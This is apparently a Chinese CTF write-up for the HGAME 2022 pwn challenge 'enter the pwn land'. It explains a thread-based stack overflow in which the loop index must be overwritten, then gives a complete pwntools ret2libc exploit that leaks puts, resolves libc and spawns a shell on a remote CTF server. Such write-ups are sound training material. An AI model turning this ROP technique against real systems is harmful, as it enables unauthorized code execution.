HGAME 2022 week1 enter the pwn land
- 一道简单的rop,就是一丢丢坑
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF
init_io(argc, argv, envp);
while ( 1 )
{
pthread_create(&newthread, 0LL, test_thread, 0LL);
pthread_join(newthread, 0LL);
}
}
test_thread
int __fastcall test_thread(void *a1)
{
char s[40]; // [rsp+0h] [rbp-30h] BYREF
int v3; // [rsp+28h] [rbp-8h]
int i; // [rsp+2Ch] [rbp-4h]
for ( i = 0; i <= 4095; ++i )
{
v3 = read(0, &s[i], 1uLL);
if ( s[i] == 10 )
break;
}
return puts(s);
}
我的理解是main函数意思即开辟一条线程thread,thread实现的就是一个read的功能
只是需要注意的是,这里用s[40]
来存read的值,i是数组下标,我们看下stack分布
var_4
即是i
,我们填充数据从上到下覆盖到返回地址的时候,会把i
的值也覆盖掉,以导致循环不能正常进行
前面的padding
长度0x2c(0x30 - 0x4)
,也就是说i
->0x2c
这里发送4字节长度的数据填充i
的值
后面就是简单的ropchain了
完整exp
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
from pwn import *
from LibcSearcher import *
context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
local = 0
if local == 1:
io = process('/mnt/c/Users/M1sceden4/Desktop/pwn/enter_the_pwn_land_HGAME_2022_week1')
else:
io = remote('1.14.71.254',28938)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x401313
ret = 0x000000000040101a
main = 0x401260
payload = b'a' * (0x30 - 0x4) + p32(0x30-0x4) + b'a' * 0x8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) #这里i是数组下标 小心绕过,前面传了0x2c个数据,数组下标就要接上
io.sendline(payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success('puts_addr:\t' + hex(puts_addr))
libc = LibcSearcher("puts" , puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
success('libc_base:\t' + hex(libc_base))
success('system:\t' + hex(system))
success('bin_sh:\t' + hex(bin_sh))
payload = b'a' * (0x30 - 0x4) + p32(0x30 - 0x4) + b'a' * 0x8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
# payload = b'a' * (0x30 - 0x4) + p32(0x30 - 0x4) + b'a' * 0x8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system)
io.sendline(payload)
io.interactive()